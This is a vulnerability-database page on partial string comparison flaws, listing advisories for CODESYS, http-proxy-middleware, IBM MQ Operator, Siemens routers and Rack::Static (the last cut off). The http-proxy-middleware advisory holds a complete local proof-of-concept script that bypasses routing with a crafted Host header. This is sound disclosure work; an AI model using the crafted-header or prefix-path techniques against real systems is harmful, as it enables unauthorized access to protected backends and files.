Common Weakness Enumeration

CWE-187

Allowed

Partial String Comparison

Abstraction: Variant · Status: Incomplete

The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

22 vulnerabilities reference this CWE, most recent first.

CVE-2022-31802 (GCVE-0-2022-31802)

Vulnerability from cvelistv5 – Published: 2022-06-24 07:46 – Updated: 2024-09-17 00:32
VLAI
Title
Partial string comparison in CODESYS gateway server
Summary
In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password.
CWE
  • CWE-187 - Partial String Comparison
Assigner
References
Impacted products
Vendor Product Version
CODESYS CODESYS Gateway Server V2 Affected: V2 , < V2.3.9.38 (custom)
Create a notification for this product.
Date Public
2022-06-09 00:00
Show details on NVD website

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T07:26:01.284Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "CODESYS Gateway Server V2",
          "vendor": "CODESYS",
          "versions": [
            {
              "lessThan": "V2.3.9.38",
              "status": "affected",
              "version": "V2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "datePublic": "2022-06-09T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-187",
              "description": "CWE-187 Partial String Comparison",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2022-06-24T07:46:09.000Z",
        "orgId": "270ccfa6-a436-4e77-922e-914ec3a9685c",
        "shortName": "CERTVDE"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Partial string comparison in CODESYS gateway server",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      },
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "info@cert.vde.com",
          "DATE_PUBLIC": "2022-06-09T07:38:00.000Z",
          "ID": "CVE-2022-31802",
          "STATE": "PUBLIC",
          "TITLE": "Partial string comparison in CODESYS gateway server"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "CODESYS Gateway Server V2",
                      "version": {
                        "version_data": [
                          {
                            "version_affected": "\u003c",
                            "version_name": "V2",
                            "version_value": "V2.3.9.38"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "CODESYS"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "In CODESYS Gateway Server V2 for versions prior to V2.3.9.38 only a part of the the specified password is been compared to the real CODESYS Gateway password. An attacker may perform authentication by specifying a small password that matches the corresponding part of the longer real CODESYS Gateway password."
            }
          ]
        },
        "generator": {
          "engine": "Vulnogram 0.0.9"
        },
        "impact": {
          "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-187 Partial String Comparison"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download=",
              "refsource": "CONFIRM",
              "url": "https://customers.codesys.com/index.php?eID=dumpFile\u0026t=f\u0026f=17141\u0026token=17867e35cfd30c77ba0137f9a17b3a557a4b7b66\u0026download="
            }
          ]
        },
        "source": {
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "270ccfa6-a436-4e77-922e-914ec3a9685c",
    "assignerShortName": "CERTVDE",
    "cveId": "CVE-2022-31802",
    "datePublished": "2022-06-24T07:46:09.625Z",
    "dateReserved": "2022-05-30T00:00:00.000Z",
    "dateUpdated": "2024-09-17T00:32:18.904Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-64MM-VXMG-Q3VJ

Vulnerability from github – Published: 2026-06-18 13:06 – Updated: 2026-06-22 15:59
VLAI
Summary
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Details

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

  • validated on tag v4.0.0-beta.5
  • corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

  • src/router.ts
  • src/http-proxy-middleware.ts

Affected public API:

  • createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

localhost:3000/api

but the attacker-controlled host is:

evillocalhost:3000

and the request path is:

/api

The concatenated attacker-controlled string:

evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

  1. the application enables the documented proxy-table router feature with at least one host+path rule
  2. an external attacker sends an ordinary HTTP request with a crafted Host header
  3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying
  4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching
  5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash ./run.sh

File: run.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs

File: Dockerfile

FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}

This PoC starts:

  • one default backend returning DEFAULT
  • one alternate backend returning SECRET
  • one proxy using:
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

It then sends:

  1. a baseline request to /api with Host: safe.example:3000
  2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

  • baseline request: STEP baseline-route body=DEFAULT
  • crafted request: STEP crafted-route body=SECRET
  • success marker: RESULT reproduced host_header_injection router substring match bypass

The PoC is considered successful only if:

  1. the baseline request stays on the default backend
  2. the crafted request reaches the alternate backend
  3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-proxy-middleware"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0"
            },
            {
              "fixed": "2.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:06:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { \u0027host/path\u0027: \u0027http://target\u0027 } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) \u003e -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  \u0026\u0026 cd /work/repo \\\n  \u0026\u0026 yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo \u0026\u0026 yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from \u0027node:http\u0027;\nimport fs from \u0027node:fs\u0027;\nimport assert from \u0027node:assert/strict\u0027;\n\nimport { createProxyMiddleware } from \u0027/work/repo/dist/index.js\u0027;\n\nconst ROUTER_KEY = \u0027localhost:3000/api\u0027;\nconst CRAFTED_HOST = \u0027evillocalhost:3000\u0027;\n\nfunction listen(server, port) {\n  return new Promise((resolve) =\u003e {\n    server.listen(port, \u0027127.0.0.1\u0027, () =\u003e resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.close((err) =\u003e {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        host: \u0027127.0.0.1\u0027,\n        port: 3000,\n        path,\n        method: \u0027GET\u0027,\n        headers: {\n          Host: host,\n        },\n      },\n      (res) =\u003e {\n        let data = \u0027\u0027;\n        res.setEncoding(\u0027utf8\u0027);\n        res.on(\u0027data\u0027, (chunk) =\u003e {\n          data += chunk;\n        });\n        res.on(\u0027end\u0027, () =\u003e {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on(\u0027error\u0027, reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) =\u003e {\n  res.end(\u0027DEFAULT\u0027);\n});\n\nconst secretBackend = http.createServer((req, res) =\u003e {\n  res.end(\u0027SECRET\u0027);\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: \u0027http://127.0.0.1:3101\u0027,\n  router: {\n    [ROUTER_KEY]: \u0027http://127.0.0.1:3102\u0027,\n  },\n});\n\nconst proxyServer = http.createServer((req, res) =\u003e {\n  proxyMiddleware(req, res, () =\u003e {\n    res.statusCode = 404;\n    res.end(\u0027NO_PROXY\u0027);\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync(\u0027/work/repo/dist/index.js\u0027));\n  assert.ok(fs.existsSync(\u0027/work/reproduction/verify.mjs\u0027));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log(\u0027STEP start-services ok\u0027);\n\n  const baseline = await request(\u0027/api\u0027, \u0027safe.example:3000\u0027);\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, \u0027DEFAULT\u0027);\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request(\u0027/api\u0027, CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, \u0027SECRET\u0027);\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split(\u0027/\u0027)[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log(\u0027RESULT reproduced host_header_injection router substring match bypass\u0027);\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: \u0027http://127.0.0.1:3101\u0027,\n  router: {\n    [ROUTER_KEY]: \u0027http://127.0.0.1:3102\u0027,\n  },\n});\n```\n\nIt then sends:\n\n1. a baseline request to `/api` with `Host: safe.example:3000`\n2. a crafted request to `/api` with `Host: evillocalhost:3000`\n\nObserved result from the validated PoC:\n\n- baseline request: `STEP baseline-route body=DEFAULT`\n- crafted request: `STEP crafted-route body=SECRET`\n- success marker: `RESULT reproduced host_header_injection router substring match bypass`\n\nThe PoC is considered successful only if:\n\n1. the baseline request stays on the default backend\n2. the crafted request reaches the alternate backend\n3. the crafted host is not equal to the configured router host\n\n# Impact\n\nThis is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.",
  "id": "GHSA-64mm-vxmg-q3vj",
  "modified": "2026-06-22T15:59:21Z",
  "published": "2026-06-18T13:06:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chimurai/http-proxy-middleware"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass"
}

GHSA-74R2-GJ4J-W655

Vulnerability from github – Published: 2024-07-08 15:31 – Updated: 2024-07-08 15:31
VLAI
Details

IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24 could allow a user to cause a denial of service under certain configurations due to a partial string comparison vulnerability. IBM X-Force ID: 297172.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-39743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187",
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-08T14:15:02Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24 could allow a user to cause a denial of service under certain configurations due to a partial string comparison vulnerability.  IBM X-Force ID:  297172.",
  "id": "GHSA-74r2-gj4j-w655",
  "modified": "2024-07-08T15:31:56Z",
  "published": "2024-07-08T15:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39743"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/297172"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7159714"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9RHP-86GW-CHQM

Vulnerability from github – Published: 2025-03-11 12:30 – Updated: 2025-03-11 12:30
VLAI
Details

A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions < V8.2.1), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions < V8.2.1), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions < V8.2.1), SCALANCE M812-1 ADSL-Router family (All versions < V8.2.1), SCALANCE M816-1 ADSL-Router family (All versions < V8.2.1), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions < V8.2.1), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions < V8.2.1), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions < V8.2.1), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions < V8.2.1), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions < V8.2.1), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions < V8.2.1), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions < V8.2.1), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions < V8.2.1), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions < V8.2.1), SCALANCE MUB852-1 (A1) (6GK5852-1EA10-1AA1) (All versions < V8.2.1), SCALANCE MUB852-1 (B1) (6GK5852-1EA10-1BA1) (All versions < V8.2.1), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions < V8.2.1), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions < V8.2.1), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions < V8.2.1), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions < V8.2.1), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions < V8.2.1), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions < V8.2.1), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions < V8.2.1), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions < V8.2.1), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions < V8.2.1), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions < V8.2.1), SCALANCE SC-600 family (All versions). Affected devices improperly validate usernames during OpenVPN authentication. This could allow an attacker to get partial invalid usernames accepted by the server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-23384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-187"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T10:15:16Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2) (All versions \u003c V8.2.1), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2) (All versions \u003c V8.2.1), SCALANCE M804PB (6GK5804-0AP00-2AA2) (All versions \u003c V8.2.1), SCALANCE M812-1 ADSL-Router family (All versions \u003c V8.2.1), SCALANCE M816-1 ADSL-Router family (All versions \u003c V8.2.1), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2) (All versions \u003c V8.2.1), SCALANCE M874-2 (6GK5874-2AA00-2AA2) (All versions \u003c V8.2.1), SCALANCE M874-3 (6GK5874-3AA00-2AA2) (All versions \u003c V8.2.1), SCALANCE M874-3 3G-Router (CN) (6GK5874-3AA00-2FA2) (All versions \u003c V8.2.1), SCALANCE M876-3 (6GK5876-3AA02-2BA2) (All versions \u003c V8.2.1), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2) (All versions \u003c V8.2.1), SCALANCE M876-4 (6GK5876-4AA10-2BA2) (All versions \u003c V8.2.1), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2) (All versions \u003c V8.2.1), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2) (All versions \u003c V8.2.1), SCALANCE MUB852-1 (A1) (6GK5852-1EA10-1AA1) (All versions \u003c V8.2.1), SCALANCE MUB852-1 (B1) (6GK5852-1EA10-1BA1) (All versions \u003c V8.2.1), SCALANCE MUM853-1 (A1) (6GK5853-2EA10-2AA1) (All versions \u003c V8.2.1), SCALANCE MUM853-1 (B1) (6GK5853-2EA10-2BA1) (All versions \u003c V8.2.1), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1) (All versions \u003c V8.2.1), SCALANCE MUM856-1 (A1) (6GK5856-2EA10-3AA1) (All versions \u003c V8.2.1), SCALANCE MUM856-1 (B1) (6GK5856-2EA10-3BA1) (All versions \u003c V8.2.1), SCALANCE MUM856-1 (CN) (6GK5856-2EA00-3FA1) (All versions \u003c V8.2.1), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1) (All versions \u003c V8.2.1), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1) (All versions \u003c V8.2.1), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2) (All versions \u003c V8.2.1), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2) (All versions \u003c V8.2.1), SCALANCE SC-600 family (All versions). Affected devices improperly validate usernames during OpenVPN authentication. This could allow an attacker to get partial invalid usernames accepted by the server.",
  "id": "GHSA-9rhp-86gw-chqm",
  "modified": "2025-03-11T12:30:58Z",
  "published": "2025-03-11T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23384"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-280834.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H2JQ-G4CQ-5PPQ

Vulnerability from github – Published: 2026-04-02 18:44 – Updated: 2026-05-13 15:20
VLAI
Summary
Rack::Static prefix matching can expose unintended files under the static root
Details

Summary

Rack::Static determines whether a request should be served as a static file using a simple string prefix check. When configured with URL prefixes such as "/css", it matches any request path that begins with that string, including unrelated paths such as "/css-config.env" or "/css-backup.sql".

As a result, files under the static root whose names merely share the configured prefix may be served unintentionally, leading to information disclosure.

Details

Rack::Static#route_file performs static-route matching using logic equivalent to:

@urls.any? { |url| path.index(url) == 0 }

This checks only whether the request path starts with the configured prefix string. It does not require a path segment boundary after the prefix.

For example, with:

use Rack::Static, urls: ["/css", "/js"], root: "public"

the following path is matched as intended:

/css/style.css

but these paths are also matched:

/css-config.env
/css-backup.sql
/csssecrets.yml

